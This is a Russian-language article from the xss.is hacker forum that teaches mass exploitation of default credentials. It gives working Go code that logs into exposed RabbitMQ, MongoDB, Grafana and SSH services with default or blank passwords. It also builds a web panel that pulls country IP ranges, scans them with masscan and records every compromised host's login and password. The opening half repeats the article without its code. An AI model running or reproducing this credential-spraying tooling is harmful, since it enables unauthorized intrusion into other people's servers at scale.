D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: miserylord
Эксклюзивно для форума: xss.is
Интернет большой(и тебя тут не найти) и полон множества различных сервисов.
Вендоры программного обеспечения при разработке своих продуктов сталкиваются с проблемой обеспечения первого взаимодействия с клиентом. Установив службу, по умолчанию в ней заложены определенные роли, а значит, авторизация и аутентификация. Самым простым выходом из этой проблемы является использование учетных данных по умолчанию. Это действительно удобно, не нужно думать о методах доставки, да и не приходится ломать голову над источником случайности, ведь слабый источник псевдослучайности не сильно отличается от данных по умолчанию.
Атака на учетные данные по умолчанию — это массовая атака на службы, сервисы и устройства в сети, которые используют дефолтные креденшалы.
Эта статья раскроет векторы атаки по этапам: от обнаружения сервисов до удобной автоматизации.
Первый этап — это определение интересующих типов сервисов и поиск учетных данных по умолчанию.
Здесь можно воспользоваться множеством списков, например, сайтом List of Default Passwords, репозиториями на GitHub, такими как SecLists/Passwords/Default-Credentials/default-passwords, или ручным поиском по названию сервиса + default creds.
Как бы там ни было, доверять этим спискам полностью не имеет смысла. Они могут быть правдивыми, но с нюансами, и в любом случае их необходимо проверить вручную.
На этом этапе можно записывать данные для входа, порт и службу.
После составления списка переходим к ручной проверке. Для этого устанавливаем на VPS интересующую службу и тестируем вход.
Возьмем несколько примеров.
Первым будет RabbitMQ HTTP. RabbitMQ HTTP — это посредническое программное обеспечение, которое управляет отправкой, приемом и маршрутизацией сообщений между различными компонентами системы. У него есть веб-интерфейс, а также пользователь по умолчанию с доступом guest:guest.
Получаем инструкцию по установке от GPT и тестируем. При попытке войти получаем ошибку "User can only log in via localhost", что означает, что пользователь по умолчанию существует, но для аутентификации необходимо изменить конфигурацию. Здесь возможно имеет смысл тестировать не только значения по умолчанию, но и, например, admin
assword. Выдаем права, проходим процесс параллельно, отслеживая запросы для успешных и неуспешных попыток.
Пишем код:
C-подобный: Скопировать в буфер обмена
В эту категорию также можно отнести сервисы, где аутентификация происходит без учетных данных вообще или с "":"" (blank:blank). Примером такого сервиса является MongoDB.
MongoDB — это документно-ориентированная нереляционная база данных, использующая NoSQL-подход к хранению данных.
Следуя инструкциям, устанавливаем MongoDB. В файле конфигурации задаем два параметра: bind_ip устанавливаем в 0.0.0.0, разрешая подключения с любого адреса, и раскомментируем параметр noauth = true, позволяя подключение без авторизации.
Черновой вариант кода:
C-подобный: Скопировать в буфер обмена
Возьмем еще один пример.
Grafana — это аналитический инструмент для визуализации данных, который позволяет создавать графики, таблицы и панели мониторинга. Он собирает информацию из разных источников и помогает отслеживать состояние приложений или инфраструктуры.
Пользователь по умолчанию — admin:admin.
Инструкция по установке — поднимаем сервис и проверяем.
Во время процесса Grafana предложит сменить учетные данные по умолчанию, но это уведомление можно пропустить. По сути, если администратор пропустит это уведомление, а токены сессий будут обновляться (этот момент также можно проверить), то вероятность нахождения множества таких систем высокая. Я точно находил такие системы, или аналогичные (возможно, это была Kibana).
Черновой код (возьмем за основу тот, что был для RabbitMQ):
C-подобный: Скопировать в буфер обмена
Важно также проверять данные, которые можно обнаружить в публичном доступе. Возьмем, к примеру, XAMPP FTP Server.
XAMPP FTP Server — это не совсем отдельный продукт, а скорее возможность настроить FTP-сервер с помощью программного пакета XAMPP.
В одном из анализов вайтпейпера я видел учетные данные newuser:wampp и nobody:lampp, но они нигде не фигурируют при настройке и запуске клиента.
(Чуть позже я подумал, что это могут быть данные от автозагрузчиков. Насколько я разобрался, lampp используется именно для добавления в автозагрузку.)
Имеет смысл тестировать такие варианты, но в целом следует быть внимательным. Также стоит добавлять в таблицу с данными те учетные записи, которые могут быть предложены GPT/Grok. Для XAMPP FTP Server это ftpuser:ftppassword.
Эту атаку также можно совместить с использованием слабых учетных данных. Например, на SSH. При обнаружении открытого порта можно тестировать root:root или user
assword (варианты, предлагаемые ML-моделями). Далее я буду описывать код, исходя из одной пары учетных данных, но, подключив к нему модуль брутфорса (по аналогии с модулем сканера сети), можно добавить проверку нескольких.
Черновой вариант кода:
C-подобный: Скопировать в буфер обмена
Используем библиотеку golang.org/x/crypto/ssh. Подключение к 22-му порту. Для проверки выполняем команду ls, которая выводит список файлов. Возможно, это не самый оптимальный способ проверки, но он рабочий.
Создадим небольшой проект для автоматизации задачи.
На первом этапе я предлагаю нарисовать админ-панель, а затем исходя из этого определить необходимые функции. Другими словами, работать через подход "design first" — это довольно забавный подход, когда деконструкция функциональности на основе идеи вызывает затруднения.
Итак, я решил отрисовать три страницы.
Первая — основная.
Вторая — с результатами.
И третья — для настройки конфигурации.
Архитектурные вопросы:
Другая функциональность:
Структура проекта:
Честно говоря, мне не очень нравится финальный вариант с точки зрения организации кода — я бы его переписал, но в целом это рабочая концепция.
- хендлеры (где содержится весь код, кроме запуска сервера),
- server.go.
Файл server.go будет включать только запуск сервера на порту 8080 и биндинг маршрутов с использованием стандартного пакета "net/http".
C-подобный: Скопировать в буфер обмена
Разбираем страницы. HTML для страницы конфигурации:
HTML: Скопировать в буфер обмена
```
JavaScript-код для этой страницы включает несколько функций, которые взаимодействуют с бэкендом:
JavaScript: Скопировать в буфер обмена
Бэкенд-функции для этого кода:
C-подобный: Скопировать в буфер обмена
В results.html выполняется fetch-запрос, в рамках которого бэкенд обращается к таблице с результатами.
JavaScript:
JavaScript: Скопировать в буфер обмена
Go:
C-подобный: Скопировать в буфер обмена
Ну и index.html. Здесь я хочу сфокусироваться на двух функциях и описать общий порядок потока данных.
Первый этап — получение диапазонов IP-адресов Функция JavaScript, которая отвечает за это: fetchIPBlocks — обращается к источнику, содержащему диапазоны адресов. В качестве такого источника используется репозиторий: raw.githubusercontent.com/herrbischoff/country-ip-blocks/master/ipv4.
JavaScript: Скопировать в буфер обмена
В самом index.html происходит: Получение этих адресов, выбор сервиса, передача данных на бэкенд и ожидание завершения проверки.
HTML: Скопировать в буфер обмена
Основная функция проверки — LogConfigHandler - Логируются полученные данные для анализа. Для каждого диапазона вызывается masscan. Из его лога с помощью регулярных выражений извлекаются чистые IP-адреса. В зависимости от конфигурации фронтенда вызывается соответствующая функция для проверки. В случае успешного результата данные записываются в базу.
C-подобный: Скопировать в буфер обмена
На примере этого проекта можно увидеть демонстрацию атаки, а также возможность комбинировать необходимый функционал путем интеграции опен-сорс решений.
Трям! Пока!
Эксклюзивно для форума: xss.is
Интернет большой
Вендоры программного обеспечения при разработке своих продуктов сталкиваются с проблемой обеспечения первого взаимодействия с клиентом. Установив службу, по умолчанию в ней заложены определенные роли, а значит, авторизация и аутентификация. Самым простым выходом из этой проблемы является использование учетных данных по умолчанию. Это действительно удобно, не нужно думать о методах доставки, да и не приходится ломать голову над источником случайности, ведь слабый источник псевдослучайности не сильно отличается от данных по умолчанию.
Атака на учетные данные по умолчанию — это массовая атака на службы, сервисы и устройства в сети, которые используют дефолтные креденшалы.
Эта статья раскроет векторы атаки по этапам: от обнаружения сервисов до удобной автоматизации.
Обнаружение
Первый этап — это определение интересующих типов сервисов и поиск учетных данных по умолчанию.
Здесь можно воспользоваться множеством списков, например, сайтом List of Default Passwords, репозиториями на GitHub, такими как SecLists/Passwords/Default-Credentials/default-passwords, или ручным поиском по названию сервиса + default creds.
Как бы там ни было, доверять этим спискам полностью не имеет смысла. Они могут быть правдивыми, но с нюансами, и в любом случае их необходимо проверить вручную.
На этом этапе можно записывать данные для входа, порт и службу.
После составления списка переходим к ручной проверке. Для этого устанавливаем на VPS интересующую службу и тестируем вход.
Возьмем несколько примеров.
Первым будет RabbitMQ HTTP. RabbitMQ HTTP — это посредническое программное обеспечение, которое управляет отправкой, приемом и маршрутизацией сообщений между различными компонентами системы. У него есть веб-интерфейс, а также пользователь по умолчанию с доступом guest:guest.
Получаем инструкцию по установке от GPT и тестируем. При попытке войти получаем ошибку "User can only log in via localhost", что означает, что пользователь по умолчанию существует, но для аутентификации необходимо изменить конфигурацию. Здесь возможно имеет смысл тестировать не только значения по умолчанию, но и, например, admin
Пишем код:
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"encoding/base64"
"fmt"
"io/ioutil"
"log"
"net/http"
"strings"
)
// 1
func isItRabbitMQ(ip string) (bool, string) {
protocols := []string{"http", "https"} // 2
for _, protocol := range protocols {
url := fmt.Sprintf("%s://%s:15672", protocol, ip) // 3
resp, err := http.Get(url)
if err != nil {
log.Printf("Ошибка при выполнении запроса (%s): %v", url, err)
continue
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Printf("Ошибка при чтении ответа (%s): %v", url, err)
continue
}
if strings.Contains(string(body), "RabbitMQ Management") { // 4
return true, protocol
}
}
return false, ""
}
func getRabbitMQUser(ip, protocol, username, password string) bool { // 5
url := fmt.Sprintf("%s://%s:15672/api/whoami", protocol, ip) // 6
auth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password)) // 7
req, err := http.NewRequest("GET", url, nil)
if err != nil {
log.Fatalf("Ошибка при создании запроса: %v", err)
}
req.Header.Add("Authorization", "Basic "+auth)
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
log.Fatalf("Ошибка при выполнении запроса: %v", err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Ошибка при чтении ответа: %v", err)
}
responseStr := string(body)
fmt.Println("Ответ от сервера:", responseStr)
if strings.Contains(responseStr, "not_authorised") { // 8
log.Println("Пользователь не авторизован.")
return false
}
log.Println("Пользователь успешно авторизован.")
return true
}
func main() {
// 9
ip := "1.1.1.1"
username := "guest"
password := "guest"
found, protocol := isItRabbitMQ(ip)
if found {
fmt.Printf("RabbitMQ Management обнаружен на %s!\n", protocol)
if getRabbitMQUser(ip, protocol, username, password) {
fmt.Println("Доступ к RabbitMQ подтвержден.")
} else {
fmt.Println("Ошибка авторизации.")
}
} else {
fmt.Println("RabbitMQ Management не найден.")
}
}
- В функции isItRabbitMQ происходит проверка того, что на указанном порту запущен именно RabbitMQ.
- Сервис может работать как по HTTP, так и по HTTPS. Код последовательно проверяет оба варианта и, в случае успеха, возвращает протокол следующей функции.
- В запросе используется указанный адрес и протокол. Дефолтный порт для RabbitMQ Management — 15672.
- В случае успешного ответа в содержимом будет строка "RabbitMQ Management", которую берем в качестве индикатора успешного обнаружения сервиса.
- Функция getRabbitMQUser проверяет успешность аутентификации в аккаунт с дефолтными параметрами.
- Во время анализа запросов был обнаружен маршрут GET /api/whoami, отвечающий за аутентификацию. Это немного меня озадачило. Оказалось, что учетные данные кодируются в base64 и передаются в заголовках запроса. Это довольно нетипично и странно. Насколько я понимаю, HTTPS, используя TLS, шифрует запросы, но при этом шифруется не весь запрос, а только его тело. Возможно, я ошибаюсь, но заголовки передаются в открытом виде. Может показаться, что кодирование в base64 защищает данные от перехвата, но это не так — разница между base64 и обычным текстом с точки зрения безопасности фактически отсутствует.
- Учетные данные кодируются в формат base64. Процесс декодирования также выполняется в одну строку.
- Проверка успешного входа осуществляется по содержимому ответа. Если в нем отсутствует "not_authorised", то вход считается успешным. Поскольку в ответе возвращается роль и имя аккаунта, при изменении учетных данных в конфигурации важно учесть, чтобы проверка не сломалась.
- На данный момент это черновая проверка, и данные передаются в таком формате. Чуть позже добавим веб-панель.
В эту категорию также можно отнести сервисы, где аутентификация происходит без учетных данных вообще или с "":"" (blank:blank). Примером такого сервиса является MongoDB.
MongoDB — это документно-ориентированная нереляционная база данных, использующая NoSQL-подход к хранению данных.
Следуя инструкциям, устанавливаем MongoDB. В файле конфигурации задаем два параметра: bind_ip устанавливаем в 0.0.0.0, разрешая подключения с любого адреса, и раскомментируем параметр noauth = true, позволяя подключение без авторизации.
Черновой вариант кода:
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"context"
"fmt"
"log"
// 1
"go.mongodb.org/mongo-driver/mongo"
"go.mongodb.org/mongo-driver/mongo/options"
)
// 2
func checkMongoAvailability(ip string) bool {
uri := fmt.Sprintf("mongodb://%s:27017", ip)
clientOptions := options.Client().ApplyURI(uri)
client, err := mongo.Connect(context.Background(), clientOptions)
if err != nil {
fmt.Println("Ошибка при подключении:", err)
return false
}
err = client.Ping(context.Background(), nil)
if err != nil {
fmt.Println("MongoDB недоступна:", err)
return false
}
fmt.Println("MongoDB доступна!")
return true
}
// 3
func checkMongoConnection(ip string) bool {
uri := fmt.Sprintf("mongodb://%s:27017", ip)
clientOptions := options.Client().ApplyURI(uri)
client, err := mongo.Connect(context.Background(), clientOptions)
if err != nil {
log.Fatal(err)
}
err = client.Ping(context.Background(), nil)
if err != nil {
fmt.Println("Не удалось подключиться к MongoDB без авторизации:", err)
return false
}
fmt.Println("Подключение к MongoDB без авторизации успешно!")
return true
}
func main() {
ip := "1.1.1.1"
if !checkMongoAvailability(ip) {
log.Fatal("MongoDB не доступна на порту!")
}
if !checkMongoConnection(ip) {
log.Fatal("Не удалось подключиться к MongoDB без авторизации!")
}
}
- Для взаимодействия с MongoDB используем специальный драйвер go.mongodb.org/mongo-driver/mongo.
- В функции checkMongoAvailability проверяем доступность MongoDB на порту 27017, используя внутренние методы.
- В функции checkMongoConnection тестируем подключение к MongoDB без авторизации.
Возьмем еще один пример.
Grafana — это аналитический инструмент для визуализации данных, который позволяет создавать графики, таблицы и панели мониторинга. Он собирает информацию из разных источников и помогает отслеживать состояние приложений или инфраструктуры.
Пользователь по умолчанию — admin:admin.
Инструкция по установке — поднимаем сервис и проверяем.
Во время процесса Grafana предложит сменить учетные данные по умолчанию, но это уведомление можно пропустить. По сути, если администратор пропустит это уведомление, а токены сессий будут обновляться (этот момент также можно проверить), то вероятность нахождения множества таких систем высокая. Я точно находил такие системы, или аналогичные (возможно, это была Kibana).
Черновой код (возьмем за основу тот, что был для RabbitMQ):
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net/http"
"strings"
)
func isItGrafana(ip string) (bool, string) {
protocols := []string{"http", "https"}
for _, protocol := range protocols {
url := fmt.Sprintf("%s://%s:3000", protocol, ip) // 1
resp, err := http.Get(url)
if err != nil {
log.Printf("Ошибка при выполнении запроса (%s): %v", url, err)
continue
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Printf("Ошибка при чтении ответа (%s): %v", url, err)
continue
}
if strings.Contains(string(body), "Grafana") { // 2
return true, protocol
}
}
return false, ""
}
// 3
func getGrafanaUser(ip, protocol, username, password string) bool {
url := fmt.Sprintf("%s://%s:3000/login", protocol, ip)
requestBody, err := json.Marshal(map[string]string{
"user": username,
"password": password,
})
if err != nil {
log.Fatalf("Ошибка при создании тела запроса: %v", err)
}
req, err := http.NewRequest("POST", url, bytes.NewBuffer(requestBody))
if err != nil {
log.Fatalf("Ошибка при создании запроса: %v", err)
}
req.Header.Set("Content-Type", "application/json")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
log.Fatalf("Ошибка при выполнении запроса: %v", err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Ошибка при чтении ответа: %v", err)
}
responseStr := string(body)
fmt.Println("Ответ от сервера:", responseStr)
if resp.StatusCode == 200 {
log.Println("Пользователь успешно авторизован.")
return true
} else if resp.StatusCode == 401 {
log.Println("Ошибка авторизации: Неверные учетные данные.")
return false
} else {
log.Printf("Неожиданный статус-код: %d", resp.StatusCode)
return false
}
}
func main() {
ip := "1.1.1.1"
username := "admin"
password := "admin"
found, protocol := isItGrafana(ip)
if found {
fmt.Printf("Grafana обнаружен на %s!\n", protocol)
if getGrafanaUser(ip, protocol, username, password) {
fmt.Println("Доступ к Grafana подтвержден.")
} else {
fmt.Println("Ошибка авторизации.")
}
} else {
fmt.Println("Grafana не найден.")
}
}
- Протокол снова http/https, порт — 3000. Если на одном порту потенциально может быть множество сервисов, можно делать разветвленную проверку в зависимости от баннера.
- Снова проверка по телу ответа — он должен содержать строку Grafana.
- Аутентификация в Grafana более стандартная. Это POST-запрос на маршрут /login. Проверка успешности осуществляется по коду ответа: в случае успеха — 200, в случае неудачи — 401.
Важно также проверять данные, которые можно обнаружить в публичном доступе. Возьмем, к примеру, XAMPP FTP Server.
XAMPP FTP Server — это не совсем отдельный продукт, а скорее возможность настроить FTP-сервер с помощью программного пакета XAMPP.
В одном из анализов вайтпейпера я видел учетные данные newuser:wampp и nobody:lampp, но они нигде не фигурируют при настройке и запуске клиента.
(Чуть позже я подумал, что это могут быть данные от автозагрузчиков. Насколько я разобрался, lampp используется именно для добавления в автозагрузку.)
Имеет смысл тестировать такие варианты, но в целом следует быть внимательным. Также стоит добавлять в таблицу с данными те учетные записи, которые могут быть предложены GPT/Grok. Для XAMPP FTP Server это ftpuser:ftppassword.
Эту атаку также можно совместить с использованием слабых учетных данных. Например, на SSH. При обнаружении открытого порта можно тестировать root:root или user
Черновой вариант кода:
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"fmt"
"log"
"os"
"golang.org/x/crypto/ssh"
)
func sshConnect(ip, username, password string) error {
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.Password(password),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
address := fmt.Sprintf("%s:22", ip)
client, err := ssh.Dial("tcp", address, config)
if err != nil {
return fmt.Errorf("ошибка подключения к SSH: %v", err)
}
defer client.Close()
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("ошибка создания сессии: %v", err)
}
defer session.Close()
session.Stdout = os.Stdout
session.Stderr = os.Stderr
if err := session.Run("ls"); err != nil {
return fmt.Errorf("ошибка выполнения команды: %v", err)
}
fmt.Println("Успешное подключение и выполнение команды")
return nil
}
func main() {
ip := "1.1.1.1"
username := "root"
password := "root"
err := sshConnect(ip, username, password)
if err != nil {
log.Fatal(err)
}
}
Используем библиотеку golang.org/x/crypto/ssh. Подключение к 22-му порту. Для проверки выполняем команду ls, которая выводит список файлов. Возможно, это не самый оптимальный способ проверки, но он рабочий.
Проектирование и автоматизация
Создадим небольшой проект для автоматизации задачи.
На первом этапе я предлагаю нарисовать админ-панель, а затем исходя из этого определить необходимые функции. Другими словами, работать через подход "design first" — это довольно забавный подход, когда деконструкция функциональности на основе идеи вызывает затруднения.
Итак, я решил отрисовать три страницы.
Первая — основная.
Вторая — с результатами.
И третья — для настройки конфигурации.
Архитектурные вопросы:
- Для построения фронтенда будет использован ванильный JavaScript, HTML и CSS.
- В качестве сервера я выбрал Go. Изначально планировал использовать ванильный Node.js, но остановился на Go, так как он требует меньше кода и выглядит нагляднее.
- В качестве базы данных выбрана простая и понятная SQLite.
- Для проверки открытости портов я воспользуюсь утилитой masscan. Поскольку она является опенсорсной, https://github.com/robertdavidgraham/masscan, достаточно клонировать репозиторий, затем перейти в папку src и собрать утилиту командой gcc *.c -o scan -lm -lpthread -ldl, что означает компиляцию всех .c файлов в бинарник с названием scan, подключив все библиотеки, на которые ругался gcc в процессе. После этого можно работать с этим бинарником. Изначально я планировал вырезать только необходимый функционал, но, посмотрев на код, решил оставить эту идею, так как вырезать что-то важное казалось слишком простым, а кодовая база этой утилиты (с учетом того, что все реализовано с нуля) оказалась просто огромной.
- Еще один важный архитектурный вопрос — выбор механизма межпроцессного взаимодействия: Unix-сокеты или TCP? На мой взгляд, единственным плюсом использования Unix-сокетов при деплое через Onion является то, что они обеспечивают большую защиту, скрывая реальный IP-адрес машины, на которой работает проект. Unix domain sockets — это, по сути, создание файла и общение через него, но это требует больше кода для создания временного файла. В плане удобства и наглядности проще реализовать взаимодействие через TCP. Я оставлю за собой выбор TCP для IPC, но Unix-сокеты также являются интересным вариантом.
- Финальный вопрос, на который я до конца не нашел ответа, — это вопрос баннеров. Что такое баннер в системах типа Shodan? По сути, это либо заголовки ответа, либо, возможно, тело ответа. Нужно отметить, что у masscan есть опция --banner, однако она плохо работает с HTTPS. Также у него есть функциональность по интеграции с nmap, но она плохо документирована, а nmap работает довольно медленно. В итоге я буду самостоятельно проверять "баннеры". Баннером я называю, в зависимости от ситуации, тело или заголовки ответа сервера в случае HTTP/HTTPS. В качестве эксперта мне кажется интересным использовать программу https://github.com/zmap/zgrab2, которая может помочь с этим.
Другая функциональность:
- Получение IP-диапазонов
- Выбор служб
- Сохранение результатов для отображения
- Настройка конфигурации
Структура проекта:
Честно говоря, мне не очень нравится финальный вариант с точки зрения организации кода — я бы его переписал, но в целом это рабочая концепция.
- База данных представлена файлом .db.
- Файл scan — это непосредственно бинарник masscan.
- Код на Go разбит на несколько файлов:
- хендлеры (где содержится весь код, кроме запуска сервера),
- server.go.
Файл server.go будет включать только запуск сервера на порту 8080 и биндинг маршрутов с использованием стандартного пакета "net/http".
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"dc/handlers"
"fmt"
"log"
"net/http"
)
func main() {
http.Handle("/", http.FileServer(http.Dir("static")))
http.HandleFunc("/api/config", handlers.ConfigHandler)
http.HandleFunc("/api/config/", handlers.ConfigUpdateHandler)
http.HandleFunc("/api/results", handlers.ResultsHandler)
http.HandleFunc("/api/service-config", handlers.ServiceConfigHandler)
http.HandleFunc("/api/log-config", handlers.LogConfigHandler)
fmt.Println("Server running on :8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}
Разбираем страницы. HTML для страницы конфигурации:
HTML: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Setup - Admin Panel</title>
<link rel="stylesheet" href="page/config/config.css">
</head>
<body>
<div class="sidebar">
<div class="logo">🌐</div>
<div class="menu">
<a href="results.html">Results</a>
<a href="index.html">Home</a>
</div>
</div>
<div class="content">
<div class="header">Setup Configuration</div>
<div class="config-table">
<table>
<thead>
<tr>
<th>Service name</th>
<th>Login</th>
<th>Password</th>
<th>Action</th>
</tr>
</thead>
<tbody id="configBody">
</tbody>
</table>
</div>
</div>
<script src="page/config/config.js"></script>
</body>
</html>
JavaScript-код для этой страницы включает несколько функций, которые взаимодействуют с бэкендом:
- fetchConfigData — запрашивает данные конфигурации с сервера через API и преобразует их в JSON.
- renderTable — получает эти данные и отрисовывает таблицу.
- editRow — служит для обновления данных.
- saveRow — получает введенные значения и отправляет обновленные данные на сервер через fetch.
- DOMContentLoaded — отвечает за инициализацию renderTable().
JavaScript: Скопировать в буфер обмена
Код:
async function fetchConfigData() {
try {
const response = await fetch('/api/config');
const data = await response.json();
return data;
} catch (error) {
console.error('Error fetching config data:', error);
return [];
}
}
async function renderTable() {
const tbody = document.getElementById("configBody");
tbody.innerHTML = "";
const configData = await fetchConfigData();
configData.forEach(item => {
const row = document.createElement("tr");
row.innerHTML = `
<td class="service">${item.service}</td>
<td class="account">${item.account}</td>
<td class="credentials">${item.credentials}</td>
<td><button class="edit-btn" onclick="editRow(${item.id}, this)">Edit</button></td>
`;
tbody.appendChild(row);
});
}
function editRow(id, button) {
const row = button.parentElement.parentElement;
const accountCell = row.querySelector('.account');
const credentialsCell = row.querySelector('.credentials');
const currentAccount = accountCell.textContent;
const currentCredentials = credentialsCell.textContent;
accountCell.innerHTML = `<input type="text" value="${currentAccount}" class="edit-account">`;
credentialsCell.innerHTML = `<input type="text" value="${currentCredentials}" class="edit-credentials">`;
button.textContent = 'Save';
button.onclick = () => saveRow(id, row, button);
}
async function saveRow(id, row, button) {
const newAccount = row.querySelector('.edit-account').value;
const newCredentials = row.querySelector('.edit-credentials').value;
try {
const response = await fetch(`/api/config/${id}`, {
method: 'PUT',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
account: newAccount,
credentials: newCredentials,
}),
});
if (!response.ok) {
throw new Error('Failed to update config');
}
row.querySelector('.account').innerHTML = newAccount;
row.querySelector('.credentials').innerHTML = newCredentials;
button.textContent = 'Edit';
button.onclick = () => editRow(id, button);
} catch (error) {
console.error('Error saving config:', error);
alert('Failed to save changes');
}
}
document.addEventListener("DOMContentLoaded", renderTable)
Бэкенд-функции для этого кода:
C-подобный: Скопировать в буфер обмена
Код:
func ConfigHandler(w http.ResponseWriter, r *http.Request) {
db, err := sql.Open("sqlite3", "./db.db")
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer db.Close()
rows, err := db.Query("SELECT id, service, account, credentials FROM config")
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer rows.Close()
var configs []models.Config
for rows.Next() {
var c models.Config
err = rows.Scan(&c.ID, &c.Service, &c.Account, &c.Credentials)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
configs = append(configs, c)
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(configs)
}
func ConfigUpdateHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPut {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
idStr := r.URL.Path[len("/api/config/"):]
id, err := strconv.Atoi(idStr)
if err != nil {
http.Error(w, "Invalid ID", http.StatusBadRequest)
return
}
var updateData struct {
Account string `json:"account"`
Credentials string `json:"credentials"`
}
if err := json.NewDecoder(r.Body).Decode(&updateData); err != nil {
http.Error(w, "Invalid request body", http.StatusBadRequest)
return
}
db, err := sql.Open("sqlite3", "./db.db")
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer db.Close()
result, err := db.Exec(
"UPDATE config SET account = ?, credentials = ? WHERE id = ?",
updateData.Account, updateData.Credentials, id,
)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
rowsAffected, err := result.RowsAffected()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if rowsAffected == 0 {
http.Error(w, "Config not found", http.StatusNotFound)
return
}
w.WriteHeader(http.StatusOK)
json.NewEncoder(w).Encode(map[string]string{"message": "Config updated successfully"})
}
В results.html выполняется fetch-запрос, в рамках которого бэкенд обращается к таблице с результатами.
JavaScript:
JavaScript: Скопировать в буфер обмена
Код:
document.addEventListener('DOMContentLoaded', function() {
fetch('/api/results')
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
const tbody = document.querySelector('.results-table tbody');
tbody.innerHTML = '';
data.forEach(result => {
const row = document.createElement('tr');
row.innerHTML = `
<td>${result.ip}</td>
<td>${result.service}</td>
<td>${result.login}</td>
<td>${result.password}</td>
`;
tbody.appendChild(row);
});
})
.catch(error => {
console.error('Error fetching results:', error);
const tbody = document.querySelector('.results-table tbody');
tbody.innerHTML = '<tr><td colspan="4">Error loading results</td></tr>';
});
});
Go:
C-подобный: Скопировать в буфер обмена
Код:
func ServiceConfigHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
service := r.URL.Query().Get("service")
if service == "" {
http.Error(w, "Service parameter is required", http.StatusBadRequest)
return
}
db, err := sql.Open("sqlite3", "./db.db")
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer db.Close()
var config models.Config
err = db.QueryRow(
"SELECT id, service, account, credentials FROM config WHERE service = ?",
service,
).Scan(&config.ID, &config.Service, &config.Account, &config.Credentials)
if err == sql.ErrNoRows {
http.Error(w, "Service not found", http.StatusNotFound)
return
}
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(config)
}
Ну и index.html. Здесь я хочу сфокусироваться на двух функциях и описать общий порядок потока данных.
Первый этап — получение диапазонов IP-адресов Функция JavaScript, которая отвечает за это: fetchIPBlocks — обращается к источнику, содержащему диапазоны адресов. В качестве такого источника используется репозиторий: raw.githubusercontent.com/herrbischoff/country-ip-blocks/master/ipv4.
JavaScript: Скопировать в буфер обмена
Код:
async function fetchIPBlocks(countryCode) {
const url = `https://raw.githubusercontent.com/herrbischoff/country-ip-blocks/master/ipv4/${countryCode}.cidr`;
try {
const response = await fetch(url);
if (!response.ok) {
throw new Error(`Ошибка HTTP: ${response.status}`);
}
const text = await response.text();
return text;
} catch (error) {
console.error("Ошибка при загрузке данных:", error);
return "Ошибка загрузки данных";
}
}
В самом index.html происходит: Получение этих адресов, выбор сервиса, передача данных на бэкенд и ожидание завершения проверки.
HTML: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Panel</title>
<link rel="stylesheet" href="page/index/index.css">
</head>
<body>
<div class="sidebar">
<div class="logo">🌐</div>
<div class="menu">
<a href="results.html">Results</a>
<a href="setup.html">Setup</a>
</div>
</div>
<div class="content">
<div class="header">Admin Panel UI</div>
<div class="panel">
<div class="block">
<button onclick="openPopup()">Get a list of IP addresses by country</button>
<div id="popup" class="popup">
<h3>Выберите страну</h3>
<select id="countrySelect">
<option value="ao">Angola</option>
<option value="gb">England</option>
<option value="de">Germany</option>
</select>
<button class="popup-ok-btn" onclick="closePopup()">OK</button>
</div>
<textarea placeholder="IP lists"></textarea>
<button class="start-btn">Start</button>
</div>
<div class="block">
<p class="blockp">Activite</p>
<button onclick="showPopup('Службы')">Services</button>
</div>
</div>
<div class="log">
<div class="log-text">Work Status</div>
</div>
<div id="servicesPopup" class="popup">
<h3>Select services</h3>
<div class="services-options">
<label><input type="radio" name="service" value="Grafana"> Grafana</label>
<label><input type="radio" name="service" value="RabbitMQ"> RabbitMQ</label>
<label><input type="radio" name="service" value="SSH"> SSH</label>
<label><input type="radio" name="service" value="MongoDb"> MongoDb</label>
</div>
<button class="popup-ok-btn" onclick="saveServices()">OK</button>
</div>
</div>
<script src="page/index/index.js"></script>
</body>
</html>
